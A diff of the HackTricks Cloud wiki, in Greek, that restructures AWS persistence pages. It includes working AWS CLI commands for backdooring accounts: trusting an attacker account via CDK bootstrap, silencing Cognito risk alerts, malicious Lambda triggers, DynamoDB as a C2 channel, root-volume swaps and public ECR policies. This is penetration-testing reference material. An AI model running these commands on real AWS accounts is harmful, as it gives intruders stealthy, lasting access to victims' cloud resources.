diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index 2cb827c49..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Για περισσότερες πληροφορίες, επισκεφθείτε: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Resource Policy - -Τροποποιήστε την πολιτική πόρων του API gateway(s) για να αποκτήσετε πρόσβαση σε αυτά. - -### Modify Lambda Authorizers - -Τροποποιήστε τον κώδικα των lambda authorizers για να αποκτήσετε πρόσβαση σε όλα τα endpoints.\ -Ή απλά αφαιρέστε τη χρήση του authorizer. - -### IAM Permissions - -Εάν ένας πόρος χρησιμοποιεί IAM authorizer, μπορείτε να αποκτήσετε πρόσβαση σε αυτόν τροποποιώντας τις IAM permissions.\ -Ή απλά αφαιρέστε τη χρήση του authorizer. - -### API Keys - -Εάν χρησιμοποιούνται API keys, μπορείτε να τα διαρρεύσετε για να διατηρήσετε την επιμονή ή ακόμα και να δημιουργήσετε νέα.\ -Ή απλά αφαιρέστε τη χρήση των API keys. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..2e74d314b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +Τροποποιήστε την resource policy των API gateway(s) για να αποκτήσετε πρόσβαση σε αυτά + +### Τροποποιήστε τους Lambda Authorizers + +Τροποποιήστε τον κώδικα των lambda authorizers για να δώσετε στον εαυτό σας πρόσβαση σε όλα τα endpoints.\ +Ή απλώς καταργήστε τη χρήση του authorizer. + +### IAM Permissions + +Εάν ένας resource χρησιμοποιεί IAM authorizer μπορείτε να δώσετε στον εαυτό σας πρόσβαση σε αυτό τροποποιώντας τα IAM permissions.\ +Ή απλώς καταργήστε τη χρήση του authorizer. + +### API Keys + +Εάν χρησιμοποιούνται API keys, μπορείτε να leak αυτά για να διατηρήσετε persistence ή ακόμα και να δημιουργήσετε νέα.\ +Ή απλώς καταργήστε τη χρήση των API keys. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index 12fb28943..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -Για περισσότερες πληροφορίες, επισκεφθείτε: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stack - -Ο AWS CDK αναπτύσσει ένα CFN stack που ονομάζεται `CDKToolkit`. Αυτό το stack υποστηρίζει μια παράμετρο `TrustedAccounts` που επιτρέπει σε εξωτερικούς λογαριασμούς να αναπτύσσουν έργα CDK στον λογαριασμό του θύματος. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να αποκτήσει απεριόριστη πρόσβαση στον λογαριασμό του θύματος, είτε χρησιμοποιώντας το AWS cli για να αναπτύξει ξανά το stack με παραμέτρους, είτε το AWS CDK cli. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..9072fe944 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index 7a2753ebe..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Για περισσότερες πληροφορίες, επισκεφθείτε: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Διαρκεια Χρήστη - -Το Cognito είναι μια υπηρεσία που επιτρέπει την εκχώρηση ρόλων σε μη αυθεντικοποιημένους και αυθεντικοποιημένους χρήστες και τον έλεγχο ενός καταλόγου χρηστών. Πολλές διαφορετικές ρυθμίσεις μπορούν να τροποποιηθούν για να διατηρηθεί κάποια διαρκεια, όπως: - -- **Προσθήκη ενός User Pool** που ελέγχεται από τον χρήστη σε ένα Identity Pool -- Δώστε έναν **IAM ρόλο σε ένα μη αυθεντικοποιημένο Identity Pool και επιτρέψτε τη ροή βασικής αυθεντικοποίησης** -- Ή σε ένα **αυθεντικοποιημένο Identity Pool** αν ο επιτιθέμενος μπορεί να συνδεθεί -- Ή **βελτιώστε τις άδειες** των δοθέντων ρόλων -- **Δημιουργία, επαλήθευση & privesc** μέσω χρηστών που ελέγχονται από χαρακτηριστικά ή νέων χρηστών σε ένα **User Pool** -- **Επιτρέποντας σε εξωτερικούς Παρόχους Ταυτότητας** να συνδεθούν σε ένα User Pool ή σε ένα Identity Pool - -Δείτε πώς να εκτελέσετε αυτές τις ενέργειες στο - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -Ένας επιτιθέμενος με αυτό το προνόμιο θα μπορούσε να τροποποιήσει τη ρύθμιση κινδύνου ώστε να μπορεί να συνδεθεί ως χρήστης Cognito **χωρίς να ενεργοποιούνται συναγερμοί**. [**Δείτε το cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) για να ελέγξετε όλες τις επιλογές: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -Από προεπιλογή αυτό είναι απενεργοποιημένο: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..6c377c567 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito Διατήρηση + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Διατήρηση χρηστών + +Cognito είναι μια υπηρεσία που επιτρέπει να ανατίθενται roles σε unauthenticated και authenticated users και να ελέγχεται ένας κατάλογος χρηστών. Πολλές διαφορετικές ρυθμίσεις μπορούν να τροποποιηθούν για να διατηρηθεί κάποια persistence, όπως: + +- **Adding a User Pool** ελεγχόμενο από τον χρήστη σε ένα Identity Pool +- Δώστε ένα **IAM role** σε ένα unauthenticated Identity Pool και επιτρέψτε Basic auth flow +- Ή σε ένα **authenticated Identity Pool** αν ο attacker μπορεί να κάνει login +- Ή **βελτιώστε τα permissions** των δοθέντων roles +- **Create, verify & privesc** μέσω attributes σε ελεγχόμενους χρήστες ή νέους χρήστες σε ένα **User Pool** +- **Allowing external Identity Providers** να κάνουν login σε ένα User Pool ή σε ένα Identity Pool + +Δείτε πώς να πραγματοποιήσετε αυτές τις ενέργειες στο + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +Ένας attacker με αυτό το privilege θα μπορούσε να τροποποιήσει τη risk configuration ώστε να μπορεί να κάνει login ως χρήστης Cognito **χωρίς να ενεργοποιούνται alarms**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) για να δείτε όλες τις επιλογές: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +Από προεπιλογή αυτό είναι απενεργοποιημένο: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md deleted file mode 100644 index 524cc2275..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ /dev/null @@ -1,59 +0,0 @@ -# AWS - DynamoDB Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -### DynamoDB - -Για περισσότερες πληροφορίες, επισκεφθείτε: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### DynamoDB Triggers with Lambda Backdoor - -Χρησιμοποιώντας τους triggers του DynamoDB, ένας επιτιθέμενος μπορεί να δημιουργήσει μια **κρυφή πίσω πόρτα** συνδέοντας μια κακόβουλη λειτουργία Lambda με έναν πίνακα. Η λειτουργία Lambda μπορεί να ενεργοποιηθεί όταν ένα στοιχείο προστεθεί, τροποποιηθεί ή διαγραφεί, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα εντός του λογαριασμού AWS. -```bash -# Create a malicious Lambda function -aws lambda create-function \ ---function-name MaliciousFunction \ ---runtime nodejs14.x \ ---role \ ---handler index.handler \ ---zip-file fileb://malicious_function.zip \ ---region - -# Associate the Lambda function with the DynamoDB table as a trigger -aws dynamodbstreams describe-stream \ ---table-name TargetTable \ ---region - -# Note the "StreamArn" from the output -aws lambda create-event-source-mapping \ ---function-name MaliciousFunction \ ---event-source \ ---region -``` -Για να διατηρηθεί η επιμονή, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει στοιχεία στον πίνακα DynamoDB, γεγονός που θα ενεργοποιήσει τη κακόβουλη λειτουργία Lambda. Αυτό επιτρέπει στον επιτιθέμενο να εκτελεί κώδικα εντός του λογαριασμού AWS χωρίς άμεση αλληλεπίδραση με τη λειτουργία Lambda. - -### DynamoDB ως Κανάλι C2 - -Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως **κανάλι εντολών και ελέγχου (C2)** δημιουργώντας στοιχεία που περιέχουν εντολές και χρησιμοποιώντας συμβιβασμένα instances ή λειτουργίες Lambda για να ανακτούν και να εκτελούν αυτές τις εντολές. -```bash -# Create a DynamoDB table for C2 -aws dynamodb create-table \ ---table-name C2Table \ ---attribute-definitions AttributeName=CommandId,AttributeType=S \ ---key-schema AttributeName=CommandId,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---region - -# Insert a command into the table -aws dynamodb put-item \ ---table-name C2Table \ ---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ ---region -``` -Οι παραβιασμένες περιπτώσεις ή οι λειτουργίες Lambda μπορούν περιοδικά να ελέγχουν τον πίνακα C2 για νέες εντολές, να τις εκτελούν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον πίνακα. Αυτό επιτρέπει στον επιτιθέμενο να διατηρεί την επιμονή και τον έλεγχο πάνω στους παραβιασμένους πόρους. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md new file mode 100644 index 000000000..3e5c551bb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -0,0 +1,59 @@ +# AWS - DynamoDB Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +### DynamoDB + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### DynamoDB Triggers with Lambda Backdoor + +Χρησιμοποιώντας τα DynamoDB triggers, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα **stealthy backdoor** συνδέοντας μια κακόβουλη Lambda function με έναν πίνακα. Η Lambda function μπορεί να ενεργοποιηθεί όταν ένα αντικείμενο προστεθεί, τροποποιηθεί ή διαγραφεί, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα εντός του AWS account. +```bash +# Create a malicious Lambda function +aws lambda create-function \ +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region + +# Associate the Lambda function with the DynamoDB table as a trigger +aws dynamodbstreams describe-stream \ +--table-name TargetTable \ +--region + +# Note the "StreamArn" from the output +aws lambda create-event-source-mapping \ +--function-name MaliciousFunction \ +--event-source \ +--region +``` +Για να διατηρήσει persistence, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει items στον πίνακα DynamoDB, κάτι που θα ενεργοποιήσει την κακόβουλη Lambda function. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει code εντός του AWS account χωρίς άμεση αλληλεπίδραση με τη Lambda function. + +### DynamoDB ως C2 Channel + +Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως **command and control (C2) channel** δημιουργώντας items που περιέχουν commands και χρησιμοποιώντας compromised instances ή Lambda functions για να ανακτήσουν και να εκτελέσουν αυτά τα commands. +```bash +# Create a DynamoDB table for C2 +aws dynamodb create-table \ +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region + +# Insert a command into the table +aws dynamodb put-item \ +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region +``` +Οι compromised instances ή Lambda functions μπορούν περιοδικά να ελέγχουν τον C2 table για νέες εντολές, να τις εκτελούν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον C2 table. Αυτό επιτρέπει στον attacker να διατηρεί persistence και έλεγχο επί των compromised resources. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index 4c9c4eafd..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Παρακολούθηση Σύνδεσης Ομάδας Ασφαλείας - -Αν ένας αμυντικός διαπιστώσει ότι μια **EC2 instance έχει παραβιαστεί**, πιθανότατα θα προσπαθήσει να **απομονώσει** το **δίκτυο** της μηχανής. Θα μπορούσε να το κάνει με μια ρητή **Deny NACL** (αλλά οι NACL επηρεάζουν ολόκληρο το υποδίκτυο), ή **αλλάζοντας την ομάδα ασφαλείας** ώστε να μην επιτρέπει **κανένα είδος εισερχόμενης ή εξερχόμενης** κίνησης. - -Αν ο επιτιθέμενος είχε μια **reverse shell που προήλθε από τη μηχανή**, ακόμη και αν η SG τροποποιηθεί ώστε να μην επιτρέπει εισερχόμενη ή εξερχόμενη κίνηση, η **σύνδεση δεν θα τερματιστεί λόγω** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** - -### EC2 Lifecycle Manager - -Αυτή η υπηρεσία επιτρέπει να **προγραμματίσετε** τη **δημιουργία AMIs και snapshots** και ακόμη και να **τα μοιραστείτε με άλλους λογαριασμούς**.\ -Ένας επιτιθέμενος θα μπορούσε να ρυθμίσει τη **δημιουργία AMIs ή snapshots** όλων των εικόνων ή όλων των τόμων **κάθε εβδομάδα** και να **τα μοιραστεί με τον λογαριασμό του**. - -### Προγραμματισμένες Εγκαταστάσεις - -Είναι δυνατόν να προγραμματίσετε εγκαταστάσεις να τρέχουν καθημερινά, εβδομαδιαία ή ακόμη και μηνιαία. Ένας επιτιθέμενος θα μπορούσε να τρέξει μια μηχανή με υψηλά προνόμια ή ενδιαφέροντα πρόσβαση όπου θα μπορούσε να έχει πρόσβαση. - -### Spot Fleet Request - -Οι spot instances είναι **φθηνότερες** από τις κανονικές εγκαταστάσεις. Ένας επιτιθέμενος θα μπορούσε να εκκινήσει μια **μικρή αίτηση spot fleet για 5 χρόνια** (για παράδειγμα), με **αυτόματη ανάθεση IP** και **user data** που στέλνει στον επιτιθέμενο **όταν η spot instance ξεκινήσει** και τη **διεύθυνση IP** και με έναν **ρόλο IAM υψηλών προνομίων**. - -### Backdoor Instances - -Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις εγκαταστάσεις και να τις backdoor: - -- Χρησιμοποιώντας ένα παραδοσιακό **rootkit** για παράδειγμα -- Προσθέτοντας ένα νέο **δημόσιο SSH key** (ελέγξτε [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring το **User Data** - -### **Backdoor Launch Configuration** - -- Backdoor το χρησιμοποιούμενο AMI -- Backdoor το User Data -- Backdoor το Key Pair - -### VPN - -Δημιουργήστε ένα VPN ώστε ο επιτιθέμενος να μπορεί να συνδεθεί απευθείας μέσω αυτού στο VPC. - -### VPC Peering - -Δημιουργήστε μια σύνδεση peering μεταξύ του VPC του θύματος και του VPC του επιτιθέμενου ώστε να μπορεί να έχει πρόσβαση στο VPC του θύματος. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..2217ec15f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +Αν ένας αμυνόμενος διαπιστώσει ότι μια **EC2 instance έχει παραβιαστεί**, πιθανότατα θα προσπαθήσει να **απομονώσει** το **network** της μηχανής. Μπορεί να το κάνει με ένα ρητό **Deny NACL** (αλλά τα NACLs επηρεάζουν ολόκληρο το subnet), ή **αλλάζοντας το security group** ώστε να μην επιτρέπει **κανένα είδος inbound ή outbound** traffic. + +Αν ο επιτιθέμενος είχε ένα **reverse shell originated from the machine**, ακόμα και αν το SG τροποποιηθεί ώστε να μην επιτρέπει inbound ή outbound traffic, η **σύνδεση δεν θα τερματιστεί λόγω** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** + +### EC2 Lifecycle Manager + +Αυτό το service επιτρέπει να **προγραμματίσετε** τη **δημιουργία AMIs και snapshots** και ακόμη και να **τα μοιράσετε με άλλους λογαριασμούς**.\ +Ένας επιτιθέμενος θα μπορούσε να ρυθμίσει τη **δημιουργία AMIs ή snapshots** όλων των images ή όλων των volumes **κάθε εβδομάδα** και να **τα μοιράζεται με τον λογαριασμό του**. + +### Scheduled Instances + +Είναι δυνατόν να προγραμματίσετε instances να τρέχουν καθημερινά, εβδομαδιαία ή ακόμα και μηνιαία. Ένας επιτιθέμενος θα μπορούσε να τρέξει μια μηχανή με υψηλά προνόμια ή ενδιαφέροντα access όπου θα μπορούσε να εισέλθει. + +### Spot Fleet Request + +Οι Spot instances είναι **φθηνότερες** από τις κανονικές instances. Ένας επιτιθέμενος θα μπορούσε να ξεκινήσει ένα **μικρό spot fleet request για 5 χρόνια** (για παράδειγμα), με **αυτόματη ανάθεση IP** και ένα **user data** που στέλνει στον επιτιθέμενο **όταν το spot instance ξεκινήσει** την **IP address** και με ένα **υψηλά προνομιούχο IAM role**. + +### Backdoor Instances + +Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις instances και να τις backdoor-άρει: + +- Χρησιμοποιώντας για παράδειγμα ένα παραδοσιακό **rootkit** +- Προσθέτοντας ένα νέο **public SSH key** (βλ. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- Backdooring το **User Data** + +### **Backdoor Launch Configuration** + +- Backdoor the used AMI +- Backdoor the User Data +- Backdoor the Key Pair + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +Αντικαταστήστε το root EBS volume μιας τρέχουσας instance με ένα που έχει δημιουργηθεί από ένα AMI ή snapshot υπό έλεγχο του επιτιθέμενου χρησιμοποιώντας `CreateReplaceRootVolumeTask`. Η instance διατηρεί τα ENIs, IPs, και το role της, εκκινώντας ουσιαστικά σε κακόβουλο κώδικα ενώ φαίνεται αμετάβλητη. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +Δημιουργήστε ένα VPN ώστε ο επιτιθέμενος να μπορεί να συνδεθεί απευθείας στο VPC. + +### VPC Peering + +Δημιουργήστε μια peering σύνδεση μεταξύ του θυματικού VPC και του attacker VPC ώστε να μπορεί να αποκτήσει πρόσβαση στο victim VPC. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..7926e546f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +Κατάχρηση του **ec2:CreateReplaceRootVolumeTask** για να αντικατασταθεί ο root EBS δίσκος μιας τρέχουσας instance με έναν που επαναφέρεται από AMI ή snapshot υπό έλεγχο του επιτιθέμενου. Η instance επανεκκινείται αυτόματα και επανέρχεται με το root filesystem που ελέγχει ο επιτιθέμενος, ενώ διατηρούνται οι ENIs, οι ιδιωτικές/δημόσιες IP, οι συνδεδεμένοι μη-root όγκοι και τα metadata της instance/IAM role. + +## Απαιτήσεις +- Η στοχευόμενη instance είναι EBS-backed και τρέχει στην ίδια region. +- Συμβατό AMI ή snapshot: ίδια αρχιτεκτονική/virtualization/boot mode (και product codes, αν υπάρχουν) με τη στοχευόμενη instance. + +## Προ-ελέγχοι +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## Αντικατάσταση root από AMI (προτιμότερο) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +Εναλλακτική με χρήση ενός snapshot: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## Αποδεικτικά στοιχεία / Επαλήθευση +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Αναμενόμενο: ENI_ID και PRI_IP παραμένουν τα ίδια· το ID του root volume αλλάζει από $ORIG_VOL σε $NEW_VOL. Το σύστημα εκκινεί με το σύστημα αρχείων από το attacker-controlled AMI/snapshot. + +## Σημειώσεις +- Η API δεν απαιτεί να σταματήσετε χειροκίνητα το instance· το EC2 οργανώνει την επανεκκίνηση. +- Από προεπιλογή, ο αντικατασταθείς (παλιός) root EBS volume αποσυνδέεται και παραμένει στον λογαριασμό (DeleteReplacedRootVolume=false). Αυτό μπορεί να χρησιμοποιηθεί για επαναφορά ή πρέπει να διαγραφεί για να αποφευχθούν χρεώσεις. + +## Επαναφορά / Καθαρισμός +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index bc7471319..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Κρυφή Εικόνα Docker με Κακόβουλο Κώδικα - -Ένας επιτιθέμενος θα μπορούσε **να ανεβάσει μια εικόνα Docker που περιέχει κακόβουλο κώδικα** σε ένα αποθετήριο ECR και να τη χρησιμοποιήσει για να διατηρήσει την επιμονή στον στόχο λογαριασμό AWS. Ο επιτιθέμενος θα μπορούσε στη συνέχεια να αναπτύξει την κακόβουλη εικόνα σε διάφορες υπηρεσίες εντός του λογαριασμού, όπως το Amazon ECS ή EKS, με διακριτικό τρόπο. - -### Πολιτική Αποθετηρίου - -Προσθέστε μια πολιτική σε ένα μόνο αποθετήριο που να σας παραχωρεί (ή σε όλους) πρόσβαση σε ένα αποθετήριο: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> Σημειώστε ότι το ECR απαιτεί οι χρήστες να έχουν **άδεια** για να κάνουν κλήσεις στην **`ecr:GetAuthorizationToken`** API μέσω μιας πολιτικής IAM **πριν μπορέσουν να αυθεντικοποιηθούν** σε ένα 